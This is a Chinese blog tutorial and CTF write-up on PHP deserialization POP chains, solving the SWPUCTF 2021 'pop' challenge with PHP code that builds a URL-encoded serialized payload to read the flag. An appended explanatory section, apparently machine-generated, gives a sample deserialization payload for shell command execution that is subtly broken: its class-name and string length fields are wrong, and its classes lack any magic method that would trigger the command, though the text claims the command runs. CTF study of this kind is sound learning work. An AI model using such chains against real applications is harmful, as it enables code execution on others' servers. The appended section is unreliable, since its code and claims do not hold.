Web POP链

文章讲述了在CTFweb竞赛中的PHP反序列化技巧,涉及序列化与反序列化的概念,魔术方法的应用,以及如何构造POP链来调用函数获取flag。通过实例演示了如何利用这些技术解决实际问题。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

引言

        在CTF web方向中有这么一道题,php反序列化,出题人会给你一串php代码,要求你通过这串代码来传递参数从而调用函数来获取flag,而这串代码末位处通常会有反序列化函数,这就要求在传入参数时,要对参数进行序列化,相当于一正一负抵消了,使得传入的参数能被函数正常解析,在传入参数通过调用函数来获取flag的过程叫做构造POP链,在说POP链之前,我们先了解一些php序列化,在进一步讲如何构造POP链。


补充

1.PHP序列化及反序列化

1.1定义

<1>PHP序列化是将变量转换为可保存或传输的字符串的过程;反序列化就是在适当的时候把这个字符串再转化成原来的变量使用。这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。

<2>PHP反序列化是一种将序列化数据转换为可用的PHP数据结构的过程。PHP反序列化可以帮助PHP开发人员轻松地存储和传输复杂的和多维度的结构。PHP反序列化可以把一些PHP格式的数据,比如:数组,对象,布尔值,等,反序列化为字符串或字节流,并将这些反序列化信息存储在文件中,或者在网络间传输。

1.2常用(反)序列化函数

<1>PHP的serialize()函数

PHP的serialize()函数可以把任何变量序列化为字符串,其中包括数组、对象等复杂类型变量。使用serialize()函数,可以把PHP变量在不同网络上传输,或者存储在文件中。

示例:

<?php 
class test{
public $t = "Hello";
}

$T = new test();
echo serialize($T);
?>

//O:4:"test":1:{s:1:"t";s:5:"Hello";}运行结果
/*
代表的含义依次是:
O:代表object
4:代表对象名字长度为4个字符
test:对象的名称
1:代表对象里面有一个变量
s:数据类型(string)
1:变量名称的长度
t:变量名称
s:数据类型
5:变量值的长度
hello:变量值
*/

<2>PHP的unserialize()函数

PHP的unserialize()函数可以用来反序列化一个已经序列化过的字符串,把它转换为PHP变量,并将其返回。

示例:

<?php
$t1 = unserialize('O:4:"test":1:{s:1:"t";s:5:"Hello";}');
echo $t1->t;
?>
//运行结果输出互class test的变量t:hello

2.魔术方法

在通过传入参数调用函数时,可能单个函数无法直接调用,需要借助其他函数间接调用,在POP链中这类函数被称为魔术方法。

2.1定义

魔术方法指的是在 PHP 中以两个下划线开头的方法,__construct(), __destruct (), __call(), __callStatic(),__get(), __set(), __isset(), __unset (), __sleep(), __wakeup(), __toString(), __set_state,() __clone() __autoload()等。

2.2常用的几种魔术方法

construct destruct  get set weakeup tostring invoke

魔术方法
函数名作用触发条件(绕过)
__construct()初始化成员属性对象创建完成后自动调用
__destruct()回收对象使用过程中的资源在销毁对象的时候自动触发
__get()获取私有属性值获取一个不可达属性属性的时候自动触发
__set()设置私有属性设置一个不可达属性时自动触发
__wakeup()在对象反序列化后执行一些特定的操作,以还原对象的状态或执行其他必要的逻辑反序列化规则不符,就会反序列化失败,绕过__wakeup()
__toString()快速获取对象的字符串信息的便捷方式当一个对象被当作字符串处理的时候,会被触发
__invoke()直接调用对象名当尝试以调用函数的方式调用一个对象时会被触发

构造POP链

1.步骤:

  1. 复制源代码到本地(notepad,记事本)
  2. 注释掉(删除)和属性无关的内容
  3. 根据题目需要,给属性赋值
  4. 生成反序列化数据,通常需要url编码
  5. 传递数据到服务器

简单来说,可以概括为找函数,调用这个函数执行命令,获取flag。找函数,如eval(),system(),fie_get_contents(),include()等,调用命令如system("ls /"),fie_get_contents("flag.php"),include("flag.php")等。

2.实践

题目

 ​​​​​​[SWPUCTF 2021 新生赛]pop | NSSCTF

代码:

(1)将代码赋值到本地

(2)注释掉和属性无关的内容 

(3)根据需要,给属性赋值,生成序列化数据

  • <1>在class w44m有一个Getflag方法会输出flag,则我们需要创建对象的同时能间接的调用Getflag这个方法
  • <2>在class w33m 的__tostring()中有一个 $this->w00m->{$this->w22m}();,这里可以是调用Getflag方法,创建class w33m,将$this->woom = class w44m, $this->w22m->=Getflag,即可调用Getflag函数
  • <3>要调用到__toStirng,则要将class w33m 作字符串处理,发现 class w22m有一个__destruct(),
  • echo $this->w00m;创建class w22m ,将$this->woom = class w33m,即可调用__toString(),__destruct在运行完这个文件会自动调用,
  • <4>最后要在创建class 44m时要满足Getflag条件,给属性admin和passwd赋值

操作如下:(起始是class w44m,终止是class w22m,序列化class w22m)

<?php
//error_reporting(0);
//show_source("index.php");
class w44m{
    private $admin = 'w44m';
    protected $passwd = '08067';
   /* 
   public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
	*/
}
class w22m{
    public $w00m;
    /*public function __destruct(){
        echo $this->w00m;
    }
	*/
}
class w33m{
    public $w00m;
    public $w22m="Getflag";
    /*
	public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
	*/
}
/*
$w00m = $_GET['w00m'];
unserialize($w00m);
*/
$w4 = new w44m();
$w3 = new w33m();
$w2 =new w22m();

$w2->w00m = $w3;
$w3->w00m = $w4;
echo urlencode(serialize($w2)); 
?>

//运行结果O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D

(4)传递给服务器

流程图如下:

写的比较粗糙,求个点赞^0^ ^0^

### CTF 中反序列化 POP 的概念及应用 #### 什么是反序列化? 反序列化是指将存储的字节流转换回对象的过程。如果这个过程被恶意操控,则可能导致安全漏洞的发生。 #### 反序列化的常见起点、跳板和终点 在 CTF 的场景下,反序列化通常涉及以下几个关键部分: - **起点**:通常是可控输入进入程序的地方,例如 `unserialize()` 函数[^1]。 - **跳板**:中间可能经过多个类的方法调用,这些方法可以作为攻击路径的一部分。 - **终点**:最终目标是触发某个敏感操作,如执行命令或读取文件。 #### PHP 反序列化漏洞的核心机制 PHP 提供了一些特殊的魔术方法,在特定情况下会被自动调用。常见的魔术方法包括但不限于: - `__wakeup`:当对象被解序列化时调用。 - `__toString`:当尝试将对象转化为字符串时调用。 - `__destruct`:当销毁对象实例时调用。 这些魔术方法的存在使得攻击者可以通过精心构造的数据包来触发预期之外的行为[^2]。 #### 构造 POP 的基础原理 POP (Property Oriented Programming) 是一种技术手段,用于连接不同类之间的属性与方法调用来实现复杂的功能组合。具体来说: - 分析每一个可用类及其内部定义的所有函数是否有潜在利用价值; - 寻找能够相互配合形成条关系的部分——即前一步的结果恰好满足下一步所需参数形式的情况; - 倒推出完整的执行流程直至达到控制危险行为的目的(如 eval 或 system 调用)[^3]。 以下是构建简单 POP Chain 的伪代码示例: ```php class VulnerableClass { public $cmd; function __construct($command){ $this->cmd=$command; } function executeCommand(){ shell_exec($this->cmd); } } // 利用了另一个类中的某些特性完成整个路闭合 class HelperClass{ private $obj; function setObj(VulnerableClass $vuln_obj){ $this->obj = $vuln_obj; } function triggerExploit(){ $this->obj->executeCommand(); } } ``` 上述例子展示了如何通过设置合适的 `$cmd` 属性并触发相应事件从而达成远程代码执行的效果。 #### 实际案例分析 假设有一个 Web 应用接受用户上传数据并通过 `unserialize($_GET['data'])` 处理请求体内的信息。此时如果我们能提供如下结构的内容给服务器端解析: ```php O:9:"HelperClass":1:{s:3:"obj";O:14:"VulnerableClass":1:{s:3:"cmd";s:7:"id > /tmp/output";}} ``` 那么将会依次经历以下步骤: 1. 创建了一个名为 `HelperClass` 类型的对象实例,其成员变量 obj 初始化为指向另一实例. 2. 这个子对象属于类型 `VulnerableClass`,它携带了一条 Linux Shell Command 字符串"id". 3. 当后续逻辑触碰到 helper 对象上的任何动作都会间接导致 command execution 发生. 因此成功实现了从外部注入到本地任意指令运行的能力转化! --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值